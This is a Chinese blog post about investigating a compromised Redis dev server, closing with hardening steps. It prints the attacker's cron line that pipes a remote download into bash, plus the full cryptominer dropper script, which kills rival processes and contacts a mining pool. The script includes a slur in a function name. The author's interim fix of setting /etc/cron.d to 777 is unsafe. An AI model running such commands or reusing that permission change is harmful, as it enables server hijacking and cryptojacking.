记一次Redis故障的排查

背景:
最近在公司dev服务器上搭建的redis总会出现异常,需要重启才能正常工作,严重影响开发效率,试图排查解决该问题

步骤:
查看redis配置文件:
查看/etc/redis.conf文件

loglevel notice
logfile /var/log/redis/redis.log
1
2
查看日志文件:
查看 /var/log/redis/redis.log文件
发现重启前一直出现错误报告

22661:C 29 Nov 16:25:43.078 # Failed opening the RDB file root (in server root dir /etc/cron.d) for saving: Permission denied

1
2
推测是rdb设置权限错误导致该问题…

修改对应权限:
查看对应权限
/etc/cron.d 目录权限为xxx,修改为777
该目录用于redis启动AOF持久化定时命令,写入失败导致redis异常

问题解决
事后发现 /etc/cron.d 目录下果然多了一个redis生成的root文件,之前是因为无法写入导致redis异常

后续:
神转折,后来看了下写入的是什么文件,发现redis中多了一个键,内容是

*/5 * * * * curl -fsSLk https://pixeldra.in/api/download/nbf6QU | bash
1
到该网址发现下载了一个文件

#!/bin/bash
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin:/root/bin
getnanoWatch(){
ARCH=$(uname -i)
if [ "$ARCH" == "x86_64" ]
then
rm -rf /tmp/nanoWatch*
wget https://pixeldra.in/api/download/BsjL1_ --no-check-certificate -O /tmp/nanoWatch
if [ $? -ne 0 -a $PS2 -eq 0 ];
then
curl -sk https://pixeldra.in/api/download/BsjL1_ -o /tmp/nanoWatch
fi
elif [ "$ARCH" == "i386" ]
then
rm -rf /tmp/nanoWatch*
wget https://pixeldra.in/api/download/BsjL1_ --no-check-certificate -O /tmp/nanoWatch
if [ $? -ne 0 -a $PS2 -eq 0 ];
then
curl -sk https://pixeldra.in/api/download/BsjL1_ -o /tmp/nanoWatch
fi
else
rm -rf /tmp/nanoWatch*
wget https://pixeldra.in/api/download/BsjL1_ --no-check-certificate -O /tmp/nanoWatch
if [ $? -ne 0 -a $PS2 -eq 0 ];
then
curl -sk https://pixeldra.in/api/download/BsjL1_ -o /tmp/nanoWatch
fi
fi
}

killNiggiz(){
ps -ef | grep crypto-pool | grep -v grep | awk '{print $2}' | xargs kill -9
ps -ef | grep nanopool | grep -v grep | awk '{print $2}' | xargs kill -9
ps -ef | grep supportxmr | grep -v grep | awk '{print $2}' | xargs kill -9
ps -ef | grep minexmr | grep -v grep | awk '{print $2}' | xargs kill -9
ps -ef | grep dwarfpool | grep -v grep | awk '{print $2}' | xargs kill -9
ps -ef | grep xmrpool | grep -v grep | awk '{print $2}' | xargs kill -9
ps -ef | grep moneropool | grep -v grep | awk '{print $2}' | xargs kill -9
ps -ef | grep xmr | grep -v grep | awk '{print $2}' | xargs kill -9
ps -ef | grep monero | grep -v grep | awk '{print $2}' | xargs kill -9
ps -ef | grep udevs | grep -v grep | awk '{print $2}' | xargs kill -9
ps -ef | grep udevd | grep -v grep | awk '{print $2}' | xargs kill -9
ps -ef | grep docker | grep -v grep | awk '{print $2}' | xargs kill -9
ps -ef | grep hashvault | grep -v grep | awk '{print $2}' | xargs kill -9
ps -ef | grep moneroocean | grep -v grep | awk '{print $2}' | xargs kill -9
ps -ef | grep evolutions | grep -v grep | awk '{print $2}' | xargs kill -9
ps -ef | grep littletrump | grep -v grep | awk '{print $2}' | xargs kill -9
ps -ef | grep jboss | grep -v grep | awk '{print $2}' | xargs kill -9
skill -KILL crypto-pool
skill -KILL nanopool
skill -KILL supportxmr
skill -KILL minexmr
skill -KILL dwarfpool
skill -KILL xmrpool
skill -KILL moneropool
skill -KILL xmr
skill -KILL monero
skill -KILL udevs
skill -KILL udevd
skill -KILL docker
skill -KILL hashvault
skill -KILL moneroocean
skill -KILL evolutions
skill -KILL littletrump
skill -KILL jboss
}

killNiggiz

PS2=$(ps aux | grep nanoWatch | grep -v "grep" | wc -l)
if [ $PS2 -eq 0 ];
then
getnanoWatch
fi
chmod +x /tmp/nanoWatch
chmod 777 /tmp/nanoWatch
if [ $PS2 -eq 0 ];
then
/tmp/nanoWatch -o pool.t00ls.ru:19000 -k -B
fi

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
特么被通过redis写进了一个挖矿脚本…
命名也十分搞笑,总之得知问题之后重装了系统,惨痛的代价
其实还是安全性的问题,之前的redis方便起见所有ip都可以访问,端口是默认的6379,密码为空,导致黑客完全可以写个脚本扫描所有ip的6379端口空密码试图连接这种毫无安全意识的服务器,并向redis中写入一些脚本文件…然后就是为所欲为了
吸取这次教训修改了redis的默认端口及密码
在redis.conf下加入如下内容禁止高风险命令的执行

rename-command config ""
rename-command flushall ""
rename-command flushdb ""
rename-command shutdown ""
rename-command eval ""
————————————————
版权声明：本文为CSDN博主「暮色恍然」的原创文章，遵循CC 4.0 BY-SA版权协议，转载请附上原文出处链接及本声明。
原文链接：https://blog.csdn.net/qq_24516549/article/details/84636564